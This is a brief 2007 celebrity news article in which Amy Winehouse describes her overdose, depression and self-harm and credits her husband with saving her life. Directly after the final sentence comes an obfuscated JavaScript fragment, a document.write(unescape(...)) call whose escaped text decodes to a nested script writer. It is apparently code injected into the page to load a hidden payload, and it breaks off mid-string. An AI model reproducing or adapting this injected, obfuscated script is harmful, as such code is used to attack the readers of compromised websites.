Amy Winehouse 'Blake saved my life'

Amy Winehouse was "engulfed in shame" after her drugs overdose.

The troubled singer - who was hospitalised in August after taking a cocktail of heroin, ketamine, cocaine and ecstasy - says she owes her life to husband Blake Fielder-Civil and claims she doesn't even recognise herself from that turbulent time.

She said: "I really thought I was on the way out. My husband Blake saved my life when he brought me into the hospital.

"I often don't know what I do. Then the next day my memory returns, and I'm engulfed in shame.

"I recently saw a picture of myself when I came out of the hospital, and I didn't recognise myself anymore. I believe I live through pain - if you suffer for something, it means it's important."

The 24-year-old singer has also confessed she self-harms because she suffers from severe bouts of "depression".

She told Germany's Stern magazine: "I feel that a black cloud hangs over me.

I have taken pills for depression but they slowed me down. I believe there are lots of people who have these mood changes.

"I'm just really lucky to have found this outlet - my music."

Amy is currently in the middle of a European tour, which she had to originally postpone in the wake of her overdose, and will be performing in Paris' renowned Le Zenith concert hall on Monday (29.10.07).document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22